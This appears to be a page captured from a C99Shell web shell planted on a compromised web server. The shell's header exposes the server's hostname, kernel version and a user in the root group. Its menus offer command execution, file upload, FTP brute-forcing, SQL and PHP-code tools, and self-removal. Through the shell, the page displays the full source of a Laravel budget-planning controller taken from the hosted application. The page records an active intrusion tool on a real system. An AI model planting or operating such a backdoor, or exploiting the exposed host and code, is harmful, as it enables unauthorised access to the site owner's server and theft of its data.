!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/app/Http/Controllers/   drwxr-xr-x
Free 28.57 GB of 117.98 GB (24.21%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     BudgetController.php (26.8 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers;

use 
App\Models\BankAccount;
use 
App\Models\Bill;
use 
App\Models\Customer;
use 
App\Models\Invoice;
use 
App\Models\Budget;
use 
App\Models\Payment;
use 
App\Models\ProductServiceCategory;
use 
App\Models\Revenue;
use 
App\Models\Utility;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\Crypt;

class 
BudgetController extends Controller
{
    
/**
     * Display a listing of the resource.
     *
     * @return \Illuminate\Http\Response
     */
    
public function index()
    {
        if(
\Auth::user()->can('manage budget plan'))
        {
            
$budgets Budget::where('created_by''='\Auth::user()->creatorId())->get();
            
$periods Budget::$period;
            return 
view('budget.index'compact('budgets''periods'));
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }

    }

    
/**
     * Show the form for creating a new resource.
     *
     * @return \Illuminate\Http\Response
     */
    
public function create()
    {

        if(
\Auth::user()->can('create budget plan'))
        {
            
$periods Budget::$period;

            
$data['monthList'] = $month $this->yearMonth();          //Monthly

            
$data['quarterly_monthlist'] = [                          //Quarterly
                                                                      
'Jan-Mar',
                                                                      
'Apr-Jun',
                                                                      
'Jul-Sep',
                                                                      
'Oct-Dec',
            ];

            
$data['half_yearly_monthlist'] = [                     // Half - Yearly
                                                                   
'Jan-Jun',
                                                                   
'Jul-Dec',
            ];

            
$data['yearly_monthlist'] = [                   // Yearly
                                                            
'Jan-Dec',
            ];


            
$data['yearList'] = $this->yearList();

            
$incomeproduct  ProductServiceCategory::where('created_by''='\Auth::user()->creatorId())->where('type''=''income')->get();
            
$expenseproduct ProductServiceCategory::where('created_by''='\Auth::user()->creatorId())->where('type''=''expense')->get();


            return 
view('budget.create'compact('periods''incomeproduct''expenseproduct'), $data);
        }
        else
        {
            return 
response()->json(['error' => __('Permission denied.')], 401);

        }

    }


    
/**
     * Store a newly created resource in storage.
     *
     * @param \Illuminate\Http\Request $request
     *
     * @return \Illuminate\Http\Response
     */
    
public function store(Request $request)
    {

        if(
\Auth::user()->can('create budget plan'))
        {
            
$validator \Validator::make($request->all(), [
                
'name' => 'required',
            
//                'from' => 'required',
            //                'to' => 'required',
                
'period' => 'required',


            ]);
            if(
$validator->fails())
            {
                
$messages $validator->getMessageBag();

                return 
redirect()->back()->with('error'$messages->first());
            }

            
$budget               = new Budget();
            
$budget->name         $request->name;
            
$budget->from         $request->year;
            
$budget->period       $request->period;
            
$budget->income_data  json_encode($request->income);
            
$budget->expense_data json_encode($request->expense);
            
$budget->created_by   \Auth::user()->creatorId();
            
$budget->save();

            
//For Notification
            
$setting  Utility::settings(\Auth::user()->creatorId());
            
$budgetNotificationArr = [
                
'budget_period' => \App\Models\Budget::$period[$request->period],
                
'budget_year' => $request->year,
                
'budget_name' => $request->name,
            ];
            
//Slack Notification
            
if(isset($setting['budget_notification']) && $setting['budget_notification'] ==1)
            {
                
Utility::send_slack_msg('new_budget'$budgetNotificationArr);
            }
            
//Telegram Notification
            
if(isset($setting['telegram_budget_notification']) && $setting['telegram_budget_notification'] ==1)
            {
                
Utility::send_telegram_msg('new_budget'$budgetNotificationArr);
            }

            
//webhook
            
$module ='New Budget';
            
$webhook =  Utility::webhookSetting($module);
            if(
$webhook)
            {
                
$parameter json_encode($budget);
                
$status Utility::WebhookCall($webhook['url'],$parameter,$webhook['method']);
                if(
$status == true)
                {
                    return 
redirect()->route('budget.index')->with('success'__('Budget Plan successfully created.'));
                }
                else
                {
                    return 
redirect()->back()->with('error'__('Webhook call failed.'));
                }
            }


            return 
redirect()->route('budget.index')->with('success'__('Budget Plan successfully created.'));
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }



    }


    
/**
     * Display the specified resource.
     *
     * @param \App\Models\Budget $budget
     *
     * @return \Illuminate\Http\Response
     */
    
public function show($ids)
    {

        if(
\Auth::user()->can('view budget plan'))
        {
            try {
                
$id       Crypt::decrypt($ids);
            } catch (
\Throwable $th) {
                return 
redirect()->back()->with('error'__('Budget Not Found.'));
            }

            
$id                    Crypt::decrypt($ids);
            
$budget                Budget::find($id);
            
$budget['income_data'] = json_decode($budget->income_datatrue);
            
$budgetTotalArrs       = !empty ($budget['income_data']) ? (array_values($budget['income_data']))  : [] ;


            
$budgetTotal = array();
            foreach(
$budgetTotalArrs as $budgetTotalArr)
            {
                foreach(
$budgetTotalArr as $k => $value)
                {
                    
$budgetTotal[$k] = (isset($budgetTotal[$k]) ? $budgetTotal[$k] + $value $value);

                }
            }


            
$budget['expense_data'] = json_decode($budget->expense_datatrue);
            
$budgetExpenseTotalArrs       = !empty ($budget['expense_data']) ? (array_values($budget['expense_data']))  : [] ;

            
$budgetExpenseTotal = array();
            foreach(
$budgetExpenseTotalArrs as $budgetExpenseTotalArr)
            {

                foreach(
$budgetExpenseTotalArr as $k => $value)
                {
                    
$budgetExpenseTotal[$k] = (isset($budgetExpenseTotal[$k]) ? $budgetExpenseTotal[$k] + $value $value);

                }


            }

            
$data['monthList']      = $month $this->yearMonth();          //Monthly

            
$data['quarterly_monthlist'] = [                          //Quarterly
                                                                      
'1-3' => 'Jan-Mar',
                                                                      
'4-6' => 'Apr-Jun',
                                                                      
'7-9' => 'Jul-Sep',
                                                                      
'10-12' => 'Oct-Dec',
            ];

            
$data['half_yearly_monthlist'] = [                     // Half - Yearly
                                                                   
'1-6' => 'Jan-Jun',
                                                                   
'7-12' => 'Jul-Dec',
            ];

            
$data['yearly_monthlist'] = [                   // Yearly
                                                            
'1-12' => 'Jan-Dec',
            ];

            
$data['yearList'] = $this->yearList();
            if(!empty(
$budget->from))
            {
                
$year $budget->from;
            }
            else
            {
                
$year date('Y');
            }
            
$data['currentYear'] = $year;

            
$incomeproduct ProductServiceCategory::where('created_by''='\Auth::user()->creatorId())->where('type''=''income')->get();


            
$incomeArr      = [];
            
$incomeTotalArr = [];

            foreach(
$incomeproduct as $cat)
            {

                if(
$budget->period == 'monthly')
                {
                    
$monthIncomeArr      = [];
                    
$monthTotalIncomeArr = [];
                    for(
$i 1$i <= 12$i++)
                    {
                        
$revenuAmount Revenue::where('created_by''='\Auth::user()->creatorId());
                        
$revenuAmount->where('category_id'$cat->id);
                        
$revenuAmount->whereRAW('YEAR(date) =?', [$year]);
                        
$revenuAmount->whereRAW('MONTH(date) =?', [$i]);
                        
$revenuAmount $revenuAmount->sum('amount');

                        
$revenuTotalAmount Revenue::where('created_by''='\Auth::user()->creatorId());
                        
$revenuTotalAmount->whereRAW('YEAR(date) =?', [$year]);
                        
$revenuTotalAmount->whereRAW('MONTH(date) =?', [$i]);
                        
$revenuTotalAmount $revenuTotalAmount->sum('amount');


                        
$invoices Invoice::where('created_by''='\Auth::user()->creatorId());
                        
$invoices->where('category_id'$cat->id);
                        
$invoices->whereRAW('YEAR(send_date) =?', [$year]);
                        
$invoices->whereRAW('MONTH(send_date) =?', [$i]);
                        
$invoices      $invoices->with(['items'])->get();
                        
$invoiceAmount 0;
                        foreach(
$invoices as $invoice)
                        {
                            
$invoiceAmount += $invoice->getTotal();
                        }


                        
$invoicesTotal Invoice::where('created_by''='\Auth::user()->creatorId());
                        
$invoicesTotal->whereRAW('YEAR(send_date) =?', [$year]);
                        
$invoicesTotal->whereRAW('MONTH(send_date) =?', [$i]);
                        
$invoicesTotal $invoicesTotal->get();

                        
$invoiceTotalAmount 0;
                        foreach(
$invoicesTotal as $invoiceTotal)
                        {
                            
$invoiceTotalAmount += $invoiceTotal->getTotal();
                        }

                        
$month date("F"strtotime(date('Y-' $i)));

                        
$monthIncomeArr[$month] = $invoiceAmount $revenuAmount;
                        
$incomeTotalArr[$month] = $invoiceTotalAmount $revenuTotalAmount;
                    }
                    
$incomeArr[$cat->id] = $monthIncomeArr;


                }

                else if(
$budget->period == 'quarterly' || $budget->period == 'half-yearly' || $budget->period == 'yearly')
                {

                    if(
$budget->period == 'quarterly')
                    {
                        
$durations $data['quarterly_monthlist'];
                    }
                    elseif(
$budget->period == 'yearly')
                    {
                        
$durations $data['yearly_monthlist'];
                    }
                    else
                    {
                        
$durations $data['half_yearly_monthlist'];
                    }

                    
$monthIncomeArr = [];
                    foreach(
$durations as $monthnumber => $monthName)
                    {
                        
$month        explode('-'$monthnumber);
                        
$revenuAmount Revenue::where('created_by''='\Auth::user()->creatorId());
                        
$revenuAmount->where('category_id'$cat->id);
                        
$revenuAmount->whereRAW('YEAR(date) =?', [$year]);
                        
$revenuAmount->whereRAW('MONTH(date) >=?'$month[0]);
                        
$revenuAmount->whereRAW('MONTH(date) <=?'$month[1]);
                        
$revenuAmount $revenuAmount->sum('amount');

                        
$month             explode('-'$monthnumber);
                        
$revenuTotalAmount Revenue::where('created_by''='\Auth::user()->creatorId());
                        
$revenuTotalAmount->whereRAW('YEAR(date) =?', [$year]);
                        
$revenuTotalAmount->whereRAW('MONTH(date) >=?'$month[0]);
                        
$revenuTotalAmount->whereRAW('MONTH(date) <=?'$month[1]);
                        
$revenuTotalAmount $revenuTotalAmount->sum('amount');


                        
$invoices Invoice::where('created_by''='\Auth::user()->creatorId());
                        
$invoices->where('category_id'$cat->id);
                        
$invoices->whereRAW('YEAR(send_date) =?', [$year]);
                        
$invoices->whereRAW('MONTH(send_date) >=?'$month[0]);
                        
$invoices->whereRAW('MONTH(send_date) <=?'$month[1]);
                        
$invoices $invoices->get();


                        
$invoiceAmount 0;
                        foreach(
$invoices as $invoice)
                        {
                            
$invoiceAmount += $invoice->getTotal();

                        }

                        
$invoicesTotal Invoice::where('created_by''='\Auth::user()->creatorId());
                        
$invoicesTotal->whereRAW('YEAR(send_date) =?', [$year]);
                        
$invoicesTotal->whereRAW('MONTH(send_date) >=?'$month[0]);
                        
$invoicesTotal->whereRAW('MONTH(send_date) <=?'$month[1]);
                        
$invoicesTotal $invoicesTotal->get();

                        
$invoiceTotalAmount 0;
                        foreach(
$invoicesTotal as $invoiceTotal)
                        {
                            
$invoiceTotalAmount += $invoiceTotal->getTotal();
                        }

                        
$monthIncomeArr[$monthName] = $invoiceAmount $revenuAmount;
                        
$incomeTotalArr[$monthName] = $invoiceTotalAmount $revenuTotalAmount;


                    }
                    
$incomeArr[$cat->id] = $monthIncomeArr;


                }

            }

            
$expenseproduct ProductServiceCategory::where('created_by''='\Auth::user()->creatorId())->where('type''=''expense')->get();

            
$expenseArr = [];
            
$expenseTotalArr = [];

            foreach(
$expenseproduct as $expense)
            {
                if(
$budget->period == 'monthly')
                {
                    
$monthExpenseArr = [];
                    
$monthTotalExpenseArr = [];
                    for(
$i 1$i <= 12$i++)
                    {

                        
$paymentAmount Payment::where('created_by''='\Auth::user()->creatorId());
                        
$paymentAmount->where('category_id'$expense->id);
                        
$paymentAmount->whereRAW('YEAR(date) =?', [$year]);
                        
$paymentAmount->whereRAW('MONTH(date) =?', [$i]);
                        
$paymentAmount $paymentAmount->sum('amount');

                        
$paymentTotalAmount Payment::where('created_by''='\Auth::user()->creatorId());
                        
$paymentTotalAmount->whereRAW('YEAR(date) =?', [$year]);
                        
$paymentTotalAmount->whereRAW('MONTH(date) =?', [$i]);
                        
$paymentTotalAmount $paymentTotalAmount->sum('amount');


                        
$bills Bill::where('created_by''='\Auth::user()->creatorId());
                        
$bills->where('category_id'$expense->id);
                        
$bills->whereRAW('YEAR(send_date) =?', [$year]);
                        
$bills->whereRAW('MONTH(send_date) =?', [$i]);
                        
$bills $bills->with(['items','accounts'])->get();

                        
$billAmount 0;
                        foreach(
$bills as $bill)
                        {
                            
$billAmount += $bill->getTotal();

                        }

                        
$billsTotal Bill::where('created_by''='\Auth::user()->creatorId());
                        
$billsTotal->whereRAW('YEAR(send_date) =?', [$year]);
                        
$billsTotal->whereRAW('MONTH(send_date) =?', [$i]);
                        
$billsTotal $billsTotal->get();

                        
$billTotalAmount =0;
                        foreach(
$billsTotal as $billTotal)
                        {
                            
$billTotalAmount += $billTotal->getTotal();
                        }

                        
$month                   date("F"strtotime(date('Y-' $i)));
                        
$monthExpenseArr[$month] = $billAmount $paymentAmount;
                        
$expenseTotalArr[$month] = $billTotalAmount $paymentTotalAmount;


                    }
                    
$expenseArr[$expense->id] = $monthExpenseArr;
                }

                else if(
$budget->period == 'quarterly' || $budget->period == 'half-yearly' || $budget->period == 'yearly')

                {
                    if(
$budget->period == 'quarterly')
                    {
                        
$durations $data['quarterly_monthlist'];
                    }
                    elseif(
$budget->period == 'yearly')
                    {
                        
$durations $data['yearly_monthlist'];
                    }
                    else
                    {
                        
$durations $data['half_yearly_monthlist'];
                    }

                    
$monthExpenseArr = [];
                    foreach(
$durations as $monthnumber => $monthName)
                    {
                        
$month         explode('-'$monthnumber);
                        
$paymentAmount Payment::where('created_by''='\Auth::user()->creatorId());
                        
$paymentAmount->where('category_id'$cat->id);
                        
$paymentAmount->whereRAW('YEAR(date) =?', [$year]);
                        
$paymentAmount->whereRAW('MONTH(date) >=?'$month[0]);
                        
$paymentAmount->whereRAW('MONTH(date) <=?'$month[1]);
                        
$paymentAmount $paymentAmount->sum('amount');


                        
$month         explode('-'$monthnumber);
                        
$paymentTotalAmount Payment::where('created_by''='\Auth::user()->creatorId());
                        
$paymentTotalAmount->whereRAW('YEAR(date) =?', [$year]);
                        
$paymentTotalAmount->whereRAW('MONTH(date) >=?'$month[0]);
                        
$paymentTotalAmount->whereRAW('MONTH(date) <=?'$month[1]);
                        
$paymentTotalAmount $paymentTotalAmount->sum('amount');

                        
$bills Bill::where('created_by''='\Auth::user()->creatorId());
                        
$bills->where('category_id'$cat->id);
                        
$bills->whereRAW('YEAR(send_date) =?', [$year]);
                        
$bills->whereRAW('MONTH(send_date) >=?'$month[0]);
                        
$bills->whereRAW('MONTH(send_date) <=?'$month[1]);
                        
$bills $bills->get();

                        
$billAmount 0;
                        foreach(
$bills as $bill)
                        {
                            
$billAmount += $bill->getTotal();
                        }

                        
$billsTotal Bill::where('created_by''='\Auth::user()->creatorId());
                        
$billsTotal->whereRAW('YEAR(send_date) =?', [$year]);
                        
$billsTotal->whereRAW('MONTH(send_date) >=?'$month[0]);
                        
$billsTotal->whereRAW('MONTH(send_date) <=?'$month[1]);
                        
$billsTotal $billsTotal->get();

                        
$BillTotalAmount 0;
                        foreach(
$billsTotal as $billTotal)
                        {
                            
$BillTotalAmount += $billTotal->getTotal();
                        }

                        
$monthExpenseArr[$monthName] = $billAmount $paymentAmount;
                        
$expenseTotalArr[$monthName] = $BillTotalAmount $paymentTotalAmount;

                    }
                    
$expenseArr[$expense->id] = $monthExpenseArr;

                }
                
// NET PROFIT OF BUDGET
                
$budgetprofit = [];
                
$keys   array_keys($budgetTotal $budgetExpenseTotal);
                foreach(
$keys as $v)
                {
                    
$budgetprofit[$v] = (empty($budgetTotal[$v]) ? $budgetTotal[$v]) - (empty($budgetExpenseTotal[$v]) ? $budgetExpenseTotal[$v]);
                }
                
$data['budgetprofit']              = $budgetprofit;

                
// NET PROFIT OF ACTUAL
                
$actualprofit = [];
                
$keys   array_keys($incomeTotalArr $expenseTotalArr);
                foreach(
$keys as $v)
                {
                    
$actualprofit[$v] = (empty($incomeTotalArr[$v]) ? $incomeTotalArr[$v]) - (empty($expenseTotalArr[$v]) ? $expenseTotalArr[$v]);
                }
                
$data['actualprofit']              = $actualprofit;

            }


            return 
view('budget.show'compact('id''budget''incomeproduct''expenseproduct''incomeArr''expenseArr''incomeTotalArr','expenseTotalArr','budgetTotal','budgetExpenseTotal'
            
), $data);

        }
        else
        {
            return 
response()->json(['error' => __('Permission denied.')], 401);
        }



    }

    
/**
     * Show the form for editing the specified resource.
     *
     * @param \App\Models\Budget $budget
     *
     * @return \Illuminate\Http\Response
     */
    
public function edit($ids)
    {

        if(
\Auth::user()->can('edit budget plan'))
        {
            try {
                
$id       Crypt::decrypt($ids);
            } catch (
\Throwable $th) {
                return 
redirect()->back()->with('error'__('Budget Not Found.'));
            }
            
$id     Crypt::decrypt($ids);
            
$budget Budget::find($id);

            
$budget['income_data']  = json_decode($budget->income_datatrue);
            
$budget['expense_data'] = json_decode($budget->expense_datatrue);

            
$periods Budget::$period;

            
$data['monthList'] = $month $this->yearMonth();        //Monthly

            
$data['quarterly_monthlist'] = [                      //Quarterly
                                                                  
'Jan-Mar',
                                                                  
'Apr-Jun',
                                                                  
'Jul-Sep',
                                                                  
'Oct-Dec',
            ];

            
$data['half_yearly_monthlist'] = [                      // Half - Yearly
                                                                    
'Jan-Jun',
                                                                    
'Jul-Dec',
            ];

            
$data['yearly_monthlist'] = [                           // Yearly
                                                                    
'Jan-Dec',
            ];


            
$data['yearList'] = $this->yearList();


            
$incomeproduct  ProductServiceCategory::where('created_by''='\Auth::user()->creatorId())->where('type''=''income')->get();
            
$expenseproduct ProductServiceCategory::where('created_by''='\Auth::user()->creatorId())->where('type''=''expense')->get();


            return 
view('budget.edit'compact('periods''budget''incomeproduct''expenseproduct'), $data);
        }

        else
        {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }


    }

    
/**
     * Update the specified resource in storage.
     *
     * @param \Illuminate\Http\Request $request
     * @param \App\Models\Budget $budget
     *
     * @return \Illuminate\Http\Response
     */
    
public function update(Request $requestBudget $budget)
    {

        if(
\Auth::user()->can('edit budget plan'))
        {
            if(
$budget->created_by == \Auth::user()->creatorId())
            {
                
$validator \Validator::make($request->all(), [
                    
'name' => 'required',
                    
'period' => 'required',

                ]);
                if(
$validator->fails())
                {
                    
$messages $validator->getMessageBag();

                    return 
redirect()->back()->with('error'$messages->first());
                }

                
$budget->name         $request->name;
                
$budget->from         $request->year;
                
$budget->period       $request->period;
                
$budget->income_data  json_encode($request->income);
                
$budget->expense_data json_encode($request->expense);
                
$budget->save();


                return 
redirect()->route('budget.index')->with('success'__('Budget Plan successfully updated.'));
            }
            else
            {
                return 
redirect()->back()->with('error'__('Permission denied.'));
            }
        }
        else
        {
            return 
response()->json(['error' => __('Permission denied.')], 401);
        }



    }

    
/**
     * Remove the specified resource from storage.
     *
     * @param \App\Models\Budget $budget
     *
     * @return \Illuminate\Http\Response
     */
    
public function destroy(Budget $budget)
    {
        if(
\Auth::user()->can('delete budget plan'))
        {
            if(
$budget->created_by == \Auth::user()->creatorId())
            {
                
$budget->delete();
                return 
redirect()->route('budget.index')->with('success'__('Budget Plan successfully deleted.'));
            }
            else
            {
                return 
redirect()->back()->with('error'__('Permission denied.'));
            }
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }

    }


    public function 
yearMonth()
    {

        
$month[] = 'January';
        
$month[] = 'February';
        
$month[] = 'March';
        
$month[] = 'April';
        
$month[] = 'May';
        
$month[] = 'June';
        
$month[] = 'July';
        
$month[] = 'August';
        
$month[] = 'September';
        
$month[] = 'October';
        
$month[] = 'November';
        
$month[] = 'December';

        return 
$month;
    }


    public function 
yearList()
    {
        
$starting_year date('Y'strtotime('-5 year'));
        
$ending_year   date('Y');

        foreach(
range($ending_year$starting_year) as $year)
        {
            
$years[$year] = $year;
        }

        return 
$years;
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0053 ]--